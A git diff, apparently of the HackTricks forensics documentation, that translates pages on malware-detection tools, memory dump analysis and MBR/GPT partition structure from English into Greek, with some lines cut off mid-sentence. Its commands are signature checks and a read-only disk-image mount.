Το [PEstudio](https://www.winitor.com/download) είναι ένα εργαλείο που επιτρέπει να λάβετε πληροφορίες για τα εκτελέσιμα των Windows, όπως εισαγωγές, εξαγωγές, κεφαλίδες, αλλά επίσης θα ελέγξει τον ιότοπο και θα βρει δυνητικές τεχνικές Att\&ck.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**.
|
||||
Το [**DiE**](https://github.com/horsicq/Detect-It-Easy/) είναι ένα εργαλείο για να ανιχνεύσετε αν ένα αρχείο είναι **κρυπτογραφημένο** και επίσης να βρείτε **packers**.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**.
|
||||
Το [**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) είναι ένα σενάριο Python που χρησιμοποιεί διάφορες **στατιστικές μεθόδους** για να ανιχνεύσει **κρυπτογραφημένο** και **κρυφό** περιεχόμενο μέσα σε αρχεία κειμένου/σεναρίου. Ο σκοπός του NeoPI είναι να βοηθήσει στην **ανίχνευση κρυμμένου κώδικα web shell**.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells.
|
||||
Το [**php-malware-finder**](https://github.com/nbs-system/php-malware-finder) κάνει το καλύτερο δυνατό για να ανιχνεύσει **κρυπτογραφημένο**/**αμφίβολο κώδικα** καθώς και αρχεία που χρησιμοποιούν συχνά **PHP** λειτουργίες που χρησιμοποιούνται σε **κακόβουλο λογισμικό**/webshells.
|
||||
|
||||
### Apple Binary Signatures
|
||||
|
||||
When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.**
|
||||
|
||||
Όταν ελέγχετε ένα δείγμα **κακόβουλου λογισμικού**, πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί να έχει ήδη **συνδεθεί** με **κακόβουλο λογισμικό**.
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -166,31 +214,30 @@ codesign --verify --verbose /Applications/Safari.app
|
|||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## Τεχνικές Ανίχνευσης
|
||||
|
||||
## Detection Techniques
|
||||
### Στοίβα Αρχείων
|
||||
|
||||
### File Stacking
|
||||
Εάν γνωρίζετε ότι ένας φάκελος που περιέχει τα **αρχεία** ενός διακομιστή ιστού ενημερώθηκε **τελευταία φορά σε μια συγκεκριμένη ημερομηνία**. **Ελέγξτε** την **ημερομηνία** δημιουργίας και τροποποίησης όλων των **αρχείων** στον **διακομιστή ιστού** και εάν υπάρχει κάποια **ύποπτη** ημερομηνία, ελέγξτε αυτό το αρχείο.
|
||||
|
||||
If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file.
|
||||
### Βάσεις
|
||||
|
||||
### Baselines
|
||||
Εάν τα αρχεία ενός φακέλου **δεν έπρεπε να έχουν τροποποιηθεί**, μπορείτε να υπολογίσετε το **hash** των **αρχικών αρχείων** του φακέλου και να τα **συγκρίνετε** με τα **τρέχοντα**. Οτιδήποτε έχει τροποποιηθεί θα είναι **ύποπτο**.
|
||||
|
||||
If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**.
|
||||
### Στατιστική Ανάλυση
|
||||
|
||||
### Statistical Analysis
|
||||
|
||||
When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**.
|
||||
Όταν οι πληροφορίες αποθηκεύονται σε αρχεία καταγραφής, μπορείτε να **ελέγξετε στατιστικά στοιχεία όπως πόσες φορές έχει προσπελαστεί κάθε αρχείο ενός διακομιστή ιστού, καθώς ένα web shell μπορεί να είναι ένα από τα πιο**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,53 +1,53 @@
|
|||
# Memory dump analysis
|
||||
# Ανάλυση αντιγράφου μνήμης
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε ειδικότητα.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Start
|
||||
## Έναρξη
|
||||
|
||||
Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md).
|
||||
Ξεκινήστε την **αναζήτηση** για **κακόβουλο λογισμικό** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στην [**Ανάλυση Κακόβουλου Λογισμικού**](../malware-analysis.md).
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations.
|
||||
**Το Volatility είναι το κύριο πλαίσιο ανοιχτού κώδικα για την ανάλυση αντιγράφων μνήμης**. Αυτό το εργαλείο Python αναλύει αντίγραφα από εξωτερικές πηγές ή εικονικές μηχανές VMware, εντοπίζοντας δεδομένα όπως διεργασίες και κωδικούς πρόσβασης με βάση το προφίλ του λειτουργικού συστήματος του αντιγράφου. Είναι επεκτάσιμο με πρόσθετα, καθιστώντας το υψηλά ευέλικτο για διερευνητικές ερευνητικές εργασίες.
|
||||
|
||||
**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
**[Βρείτε εδώ ένα cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
|
||||
## Mini dump crash report
|
||||
## Αναφορά κατάρρευσης μικρού αντιγράφου μνήμης
|
||||
|
||||
When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump.
|
||||
Όταν το αντίγραφο είναι μικρό (μόνο μερικά KB, ίσως μερικά MB) τότε πιθανότατα είναι μια αναφορά κατάρρευσης μικρού αντιγράφου και όχι ένα αντίγραφο μνήμης.
|
||||
|
||||
![](<../../../.gitbook/assets/image (216).png>)
|
||||
|
||||
If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed:
|
||||
Εάν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε μερικές βασικές πληροφορίες όπως το όνομα της διεργασίας, η αρχιτεκτονική, πληροφορίες εξαίρεσης και τα εκτελούμενα αρθρώματα:
|
||||
|
||||
![](<../../../.gitbook/assets/image (217).png>)
|
||||
|
||||
You can also load the exception and see the decompiled instructions
|
||||
Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποκωδικοποιημένες οδηγίες
|
||||
|
||||
![](<../../../.gitbook/assets/image (219).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||
|
||||
Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump.
|
||||
Πάντως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να πραγματοποιήσετε μια ανάλυση του βάθους του αντιγράφου.
|
||||
|
||||
You should **open** it using **IDA** or **Radare** to inspection it in **depth**.
|
||||
Θα πρέπει να το **ανοίξετε** χρησιμοποιώντας το **IDA** ή το **Radare** για να το επιθεωρήσετε **λεπτομερώς**.
|
||||
|
||||
|
||||
|
||||
|
@ -55,18 +55,4 @@ You should **open** it using **IDA** or **Radare** to inspection it in **depth**
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
[**RootedCON**](https://www.rootedcon.com/) είναι το πιο ση
|
||||
|
|
|
@ -1,161 +1,110 @@
|
|||
# Partitions/File Systems/Carving
|
||||
# Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση
|
||||
|
||||
## Partitions/File Systems/Carving
|
||||
## Διαμερίσματα/Συστήματα Αρχείων/Ανάκτηση
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Partitions
|
||||
## Διαμερίσματα
|
||||
|
||||
A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\
|
||||
The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size.
|
||||
Ένας σκληρός δίσκος ή ένας **δίσκος SSD μπορεί να περιέχει διάφορα διαμερίσματα** με σκοπό τη φυσική διαχωρισμό των δεδομένων.\
|
||||
Η **ελάχιστη** μονάδα ενός δίσκου είναι το **τομέας** (συνήθως αποτελείται από 512B). Έτσι, ο μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο του μεγέθους αυτού.
|
||||
|
||||
### MBR (master Boot Record)
|
||||
|
||||
It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\
|
||||
It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\
|
||||
MBR allows **max 2.2TB**.
|
||||
Ανατίθεται στο **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι απαραίτητος για να υποδείξει στον υπολογιστή ποιο και από πού θα πρέπει να τοποθετηθεί ένα διαμέρισμα.\
|
||||
Επιτρέπει έως και **4 διαμερίσματα** (το πολύ **1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, εάν χρειάζεστε περισσότερα διαμερίσματα, μπορείτε να χρησιμοποιήσετε **επεκτεινόμενα διαμερίσματα**. Το **τελευταίο byte** αυτού του πρώτου τομέα είναι η υπογραφή του εγγραφής εκκίνησης **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να επισημανθεί ως ενεργό.\
|
||||
Το MBR επιτρέπει **έως 2,2TB**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (489).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (490).png>)
|
||||
|
||||
From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε τη **Σφραγίδα Δίσκου των Windows** (εάν χρησιμοποιείται το Windows). Το λογικό γράμμα οδήγησης του σκληρού δίσκου εξαρτάται από τη Σφραγίδα Δίσκου των Windows. Η αλλαγή αυτής της σφραγίδας μπορεί να εμποδίσει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (493).png>)
|
||||
|
||||
**Format**
|
||||
**Μορφή**
|
||||
|
||||
| Offset | Length | Item |
|
||||
| Offset | Μήκος | Στοιχείο |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Boot code |
|
||||
| 446 (0x1BE) | 16 (0x10) | First Partition |
|
||||
| 462 (0x1CE) | 16 (0x10) | Second Partition |
|
||||
| 478 (0x1DE) | 16 (0x10) | Third Partition |
|
||||
| 494 (0x1EE) | 16 (0x10) | Fourth Partition |
|
||||
| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA |
|
||||
| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης |
|
||||
| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα |
|
||||
| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα |
|
||||
| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα |
|
||||
| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα |
|
||||
| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA |
|
||||
|
||||
**Partition Record Format**
|
||||
**Μορφή Εγγραφής Διαμερίσματος**
|
||||
|
||||
| Offset | Length | Item |
|
||||
| Offset | Μήκος | Στοιχείο |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) |
|
||||
| 1 (0x01) | 1 (0x01) | Start head |
|
||||
| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | End head |
|
||||
| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sectors in partition |
|
||||
|
||||
In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
And then use the following code
|
||||
| 0 (0x00) | 1 (0x01) | Σημαία ενεργού (0x80 = εκκινήσιμο) |
|
||||
| 1 (0x01) | 1 (0x01) | Έναρξη κεφαλής |
|
||||
| 2 (0x02) | 1 (0x01) | Έναρξη τομέα (bits 0-5); υψηλότερα bits του κυλίνδρου (6- 7) |
|
||||
| 3 (0x03) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου έναρξης |
|
||||
| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμέρισματος (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Τελική κεφαλή |
|
||||
| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); υψηλότερα bits του κυλίνδρου (6- 7) |
|
||||
| 7 (0x07) | 1 (0x01) | Χαμηλότερα 8 bits του κυλίνδρου τέλους |
|
||||
| 8 (0x08) | 4 (0x04) | Τομείς πριν από το διαμέρισμα (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα |
|
||||
|
||||
Για να τοποθετήσετε ένα MBR σε Linux, πρ
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Λογική διεύθυνση μπλοκ)**
|
||||
|
||||
**LBA (Logical block addressing)**
|
||||
Η Λογική διεύθυνση μπλοκ (**LBA**) είναι ένα κοινό σχήμα που χρησιμοποιείται για τον καθορισμό της τοποθεσίας των μπλοκ δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, κυρίως συστήματα αποθήκευσης δευτερεύουσας μνήμης, όπως οι σκληροί δίσκοι. Η LBA είναι ένα ιδιαίτερα απλό γραμμικό σχήμα διευθυνσιοδότησης. Τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1 και ούτω καθεξής.
|
||||
|
||||
**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on.
|
||||
### GPT (Πίνακας Οδηγιών Κατατμήσεων)
|
||||
|
||||
### GPT (GUID Partition Table)
|
||||
Ο πίνακας οδηγιών κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Χαρακτηριστικό του είναι ο **παγκοσμίως μοναδικός αναγνωριστικός κωδικός** για τις κατατμήσεις, ο GPT ξεχωρίζει με πολλούς τρόπους:
|
||||
|
||||
The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways:
|
||||
- **Τοποθεσία και Μέγεθος**: Τόσο ο GPT όσο και ο MBR ξεκινούν από τον τομέα 0. Ωστόσο, ο GPT λειτουργεί με **64 bits**, αντίθετα με τα 32 bits του MBR.
|
||||
- **Όρια Κατατμήσεων**: Ο GPT υποστηρίζει έως και **128 κατατμήσεις** σε συστήματα Windows και μπορεί να φιλοξενήσει έως και **9,4ZB** δεδομένων.
|
||||
- **Ονόματα Κατατμήσεων**: Προσφέρει τη δυνατότητα να ονομάζει κατατμήσεις με έως και 36 χαρακτήρες Unicode.
|
||||
|
||||
- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits.
|
||||
- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data.
|
||||
- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters.
|
||||
**Ανθεκτικότητα Δεδομένων και Ανάκτηση**:
|
||||
|
||||
**Data Resilience and Recovery**:
|
||||
- **Αντιγραφή**: Αντίθετα από το MBR, ο GPT δεν περιορίζει την κατατμητοποίηση και τα δεδομένα εκκίνησης σε ένα μόνο σημείο. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, βελτιώνοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων.
|
||||
- **Έλεγχος Κυκλικής Περιττότητας (CRC)**: Ο GPT χρησιμοποιεί το CRC για να εξασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά τη διάβρωση των δεδομένων και, όταν ανιχνεύεται, ο GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη θέση του δίσκου.
|
||||
|
||||
- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience.
|
||||
- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location.
|
||||
**Προστατευτικό MBR (LBA0)**:
|
||||
|
||||
**Protective MBR (LBA0)**:
|
||||
|
||||
- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks.
|
||||
- Ο GPT διατηρεί την αναστρεφόμενη συμβατότητα μέσω ενός προστατευτικού MBR. Αυτή η λειτουργία βρίσκεται στον χώρο του παλαιού MBR, αλλά σχεδιάστηκε για να αποτρέπει τις παλαιές εργαλειοθήκες που βασίζονται στο MBR να αντικαταστήσουν κατά λάθος τους δίσκους GPT, προστατεύοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους με μορφή GPT.
|
||||
|
||||
